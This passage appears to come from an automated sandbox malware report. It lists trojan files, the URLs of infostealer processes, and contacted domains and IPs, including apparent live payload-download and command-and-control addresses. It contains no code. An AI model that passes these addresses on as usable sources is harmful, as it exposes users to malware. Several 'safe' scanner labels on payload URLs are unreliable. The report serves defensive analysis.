C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	82%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	55%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	79%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_cffi_backend.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_helpers.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_parser.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_writer.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_websocket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\frozenlist\_frozenlist.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\multidict\_multidict.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\python310.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	50%	ReversingLabs	Win64.Trojan.PySpy
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\vcruntime140.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/unique3/random.exe9	0%	Avira URL Cloud	safe
http://185.215.113.16/inc/trunk.exe	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apiAD	0%	Avira URL Cloud	safe
https://pancakedipyps.click/apiZ	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exeJ	0%	Avira URL Cloud	safe
https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exe:	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exeF	0%	Avira URL Cloud	safe
http://185.215.113.17/2fb6c2cc8dce150a.phpCoinomi	100%	Avira URL Cloud	malware
http://speleotrove.com/decimal/decarith.html	0%	Avira URL Cloud	safe
http://185.215.113.17J9	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/why.html#data-classes)	0%	Avira URL Cloud	safe
http://185.215.113.17/2fb6c2cc8dce150a.php7	100%	Avira URL Cloud	malware
http://185.215.113.17/2fb6c2cc8dce150a.php)	100%	Avira URL Cloud	malware
https://www.attrs.org/en/stable/changelog.html	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/URE=~	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/api	0%	Avira URL Cloud	safe
https://filepreviews.io/	0%	Avira URL Cloud	safe
http://185.215.113.209/Fru7Nk9/index.phpaZ	0%	Avira URL Cloud	safe
http://185.215.113.16/inc/v_dolg.exe0	0%	Avira URL Cloud	safe
http://185.215.113.16/test/am209.exe&	0%	Avira URL Cloud	safe
http://31.41.244.11//Jo89Ku7d/index.phps	0%	Avira URL Cloud	safe
https://energyaffai.lat/api	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/OP	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/BRO	0%	Avira URL Cloud	safe
http://185.215.113.17/2fb6c2cc8dce150a.phpG	100%	Avira URL Cloud	malware
https://www.attrs.org/en/stable/changelog.html)	0%	Avira URL Cloud	safe
https://www.attrs.org/	0%	Avira URL Cloud	safe
http://185.215.113.17/2fb6c2cc8dce150a.phpm	100%	Avira URL Cloud	malware
http://185.215.113.17/2fb6c2cc8dce150a.phpU	100%	Avira URL Cloud	malware
http://185.215.113.17/2fb6c2cc8dce150a.phpl	100%	Avira URL Cloud	malware
http://185.215.113.17/2fb6c2cc8dce150a.phpN	100%	Avira URL Cloud	malware
http://185.215.113.209/Fru7Nk9/index.phpshqos.dll	0%	Avira URL Cloud	safe
http://185.215.113.17/2fb6c2cc8dce150a.phpata	100%	Avira URL Cloud	malware
http://185.215.113.17/2fb6c2cc8dce150a.phprowser	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe)	0%	Avira URL Cloud	safe
https://wwww.certigna.fr/autorites/o6	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0649/)	0%	Avira URL Cloud	safe
http://185.215.113.16/inc/v_dolg.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	104.21.23.76	true	false	high
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
restores.name	135.181.65.219	true	false	unknown
energyaffai.lat	104.21.32.1	true	true	unknown
ip-api.com	208.95.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
dare-curbys.biz	unknown	unknown	false	high
impend-differ.biz	unknown	unknown	false	high
zinc-sneark.biz	unknown	unknown	false	high
covery-mover.biz	unknown	unknown	false	high
formy-spill.biz	unknown	unknown	false	high
se-blurry.biz	unknown	unknown	false	high
print-vexer.biz	unknown	unknown	false	high
dwell-exclaim.biz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199724331900	false		high
https://lev-tolstoi.com/api	true	Avira URL Cloud: safe	unknown
grannyejh.lat	false		high
http://ip-api.com/json	false		high
https://energyaffai.lat/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://lev-tolstoi.com/apiAD	v_dolg.exe, 00000020.00000002.4037001635.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.4028975021.0000000001018000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/251	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe9	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique3/random.exe:	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/sponsors/hynek	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oauth.reddit.com/api/v1/me	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exeF	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/	axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exeJ	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/136	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/inc/trunk.exe	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
http://speleotrove.com/decimal/decarith.html	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.17/2fb6c2cc8dce150a.phpCoinomi	stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/python-attrs/attrs/issues/1330)	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://open.spotify.com/user/u	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/apiZ	legs.exe, 00000017.00000003.3346901474.000000000134D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3413726497.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	stub.exe, 00000023.00000003.3718897767.0000022F66F4F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718746787.0000022F66F42000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	false		high
https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filepreviews.io/	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/why.html#data-classes)	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/of	v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/URE=~	v_dolg.exe, 00000020.00000003.4028975021.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4036823973.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.17J9	stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.17/2fb6c2cc8dce150a.php7	stealc_default2.exe, 00000014.00000003.3100065357.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.17/2fb6c2cc8dce150a.php)	stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.attrs.org/en/stable/changelog.html	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.209/Fru7Nk9/index.phpaZ	defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://checkout.steampowered.com/	v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/	stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/inc/v_dolg.exe0	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpG	stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/issues	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=THDq-gsQ	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpU	stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.17/2fb6c2cc8dce150a.phpN	stealc_default2.exe, 00000014.00000003.3100065357.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/BRO	v_dolg.exe, 00000020.00000003.4028975021.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4036823973.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3991489882.0000000001002000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spotify.com/api/account-settings/v1/profile	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeu	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.17/2fb6c2cc8dce150a.phpl	stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpm	stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/pyca/cryptography/issues/9253	roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/changelog.html)	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/time-zones/repository/tz-link.html	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	v_dolg.exe, 00000020.00000003.3891372130.000000000386D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/test/am209.exe&	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11//Jo89Ku7d/index.phps	axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lev-tolstoi.com/OP	v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.accv.es0	stub.exe, 00000023.00000002.3738579895.0000022F66FFB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gql.twitch.tv/gql	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.17/2fb6c2cc8dce150a.phpata	stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://wwww.certigna.fr/autorites/o6	stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0649/)	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.17/2fb6c2cc8dce150a.phprowser	stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefox	stub.exe, 00000023.00000002.3740469502.0000022F675F0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe3	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.209/Fru7Nk9/index.phpshqos.dll	defnur.exe, 0000001D.00000002.4695646225.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://economy.roblox.com/v1/users/	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe)	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.openssl.org/H	roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADB9C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steampowered.com/	v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
